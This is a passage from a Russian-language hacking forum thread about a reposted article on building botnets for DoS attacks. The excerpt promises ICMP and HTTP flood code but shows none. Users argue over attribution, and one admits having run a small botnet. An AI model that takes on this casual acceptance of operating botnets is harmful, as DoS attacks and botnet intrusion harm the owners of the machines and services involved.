Service) - это атака на отказ в обслуживании. DoS-атаку можно воспроизвести при помощи какого-либо бага в программном
обеспечении. Таковым может выступать какой-нибудь Buffer Overflow-баг (переполнение буффера) или зависание системы при
обработке каких-либо файлов.

Для DoS-багов специально пишутся эксплойты, но в ботах такая технология не используется. Сейчас
я покажу как написать ICMP (ping) и HTTP (get)
 
Mail2k
Очень хорошую статью нарыл в инете. Почитайте.Будет интересно тем,кто решил себе завести ботнет-сеть.
Ну те кто решил завести ботнет-сеть, ищут не статьи, а ботов.

А где ссылка на источник?
Кстати статья не полная (доп инфы нет), наверно ты не с офф сайта её взял.

:zns2: Офф статья

З.Ы. Чет мне кажется, что ты посты себе для халявы набиваеш, хотя у тебя их достаточно :huh: .
 
Ну те кто решил завести ботнет-сеть, ищут не статьи, а ботов.

А где ссылка на источник?
Кстати статья не полная (доп инфы нет), наверно ты не с офф сайта её взял.


Те кто решил завести ботнет ищут первым делом информацию по ботнетам,их созданию и т.д.,а потом уже ботов. Не логичней ли было бы поступать именно таким образом?
Или ,может быть, твоя жизненная позиция делать всё наоборот через ...?
Гм...:) Ну, это тоже позиция...но спорная.
В качестве инфы на источник я указал автора данной статьи.По-моему,автор это главный источник. А во избежании какой-либо рекламы я убрал все ссылки на сайты.
 
Mail2k
Те кто решил завести ботнет ищут первым делом информацию по ботнетам,их созданию и т.д.
Ты уверен? Если не уверен лучше не говори...
У тебя самого когданить был "ботнет"? Лично когда я первый раз его создавал, мне было пох*й на статьи если в них небыло ссылок на ботов и т.д.
В этой статье как я понял (я её не читал, так пролистал быстро) описывается создание примитивного бота, зачем такую статью сюда выкладывать?, если в разделе "Спам, загрузки, ботнеты" есть куча рабочих ботов.

В качестве инфы на источник я указал автора данной статьи.
Ты его ни указал, ты просто его не убрал из статьи.

По-моему, автор это главный источник.
В ответ процитирую копирайт с офф сайта:
© _1nf3ct0r_ / Hell Knights Crew / hellknights.void.ru
Копирайт ясно дает понять, что статья пренадлежит не только автору, но и команде под названием "Hell Knights Crew".

А во избежании какой-либо рекламы я убрал все ссылки на сайты.
Протри глаза парень, у всех в подписи куча рекламы, почти во всех постах присутствуют ссылки, и ты говориш "во избежании какой-либо рекламы", убрав ссылки вопервых ты нарушил "Авторское право" и ты лешил пользователей возможности узнать об этом более подробно и скачать файлы описанные в данной статье.
 
Ты уверен? Если не уверен лучше не говори...

:) Конечно уверен.А то как же? На разных форумах встречал кучу вопросв о том как завести свою ботнет сеть. И прежде чем заняться чем то никогда не помешает ознакомиться более подробней с тем,что тысобираешься сделать и каким способом это лучше сделать.


У тебя самого когданить был "ботнет"?
Да,был.Небольшой правда,но всё же. :thumbsup:

Лично когда я первый раз его создавал, мне было пох*й на статьи если в них небыло ссылок на ботов и т.д.
Ну это как правило удел маленьких хацкеров.
Обычно более познавательные люди сначально досканально разберутся с чем имеет дело во избежании ошибок по неопытности.:)

Ты мне чем то напоминаешь одно паренька,который как то на одном из форумов
отписывался: "Не,читать и изучать мне всё в лом.Я хочу скачать хакерскую специальную программу и взломать что-нибудь крутое.Думаю,начать с банка"
Я долго смеялся. Так и стобой ,видимо,в самом начале получилось. :D Про жизненную спорную позицию я уже говорил выше... ;)


В этой статье как я понял (я её не читал, так пролистал быстро) описывается создание примитивного бота,

Очень жаль,что ты её пролистал быстро.Довольно интересная и познавательная статья. Ты немного ошибся другой статьёй,наверное,пролистав так быстро.

В ней описываются: основные понятия ботнета, для чего он нужен,как работает,
основные методы управления и реализации,рассказывается о сетях и т.д., а совсем не то,что ты тут говоришь.

зачем такую статью сюда выкладывать?, если в разделе "Спам, загрузки, ботнеты" есть куча рабочих ботов.

Именно поэтому я и выложил статью,чтобы незнающие люди,знали для чего нужны эти самые боты.:) Некоторые не знают даже что такое IRC, а ты тут спрашиваешь для чего статья. :tease:

Ты его ни указал, ты просто его не убрал из статьи.


Нет, мой юный друг, я специально оставил автора,чтобы не было лишних вопросов.
Но я не знал,что можно выкладывать ссылки на сайты.Впредь буду именно так и делать.

Копирайт ясно дает понять, что статья пренадлежит не только автору, но и команде под названием "Hell Knights Crew".

Чья статья прекрасно видно даже из оригинала статьи на сайте. А то,что она не принадлежит команде я такого не говорил. Я указывал ни кому она принадлежит, а автора статьи. Ты получше прочитай,дорогой, и вопросы как рукой снимет. :)
 
Какая разница. Копирайт установлен в данный момент. не разводите флейм.

Mail2k
Всегда ставб копирайты и не надо заключать статьи в цитаты.

З.Ы.: статья полезна для ботописателей.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх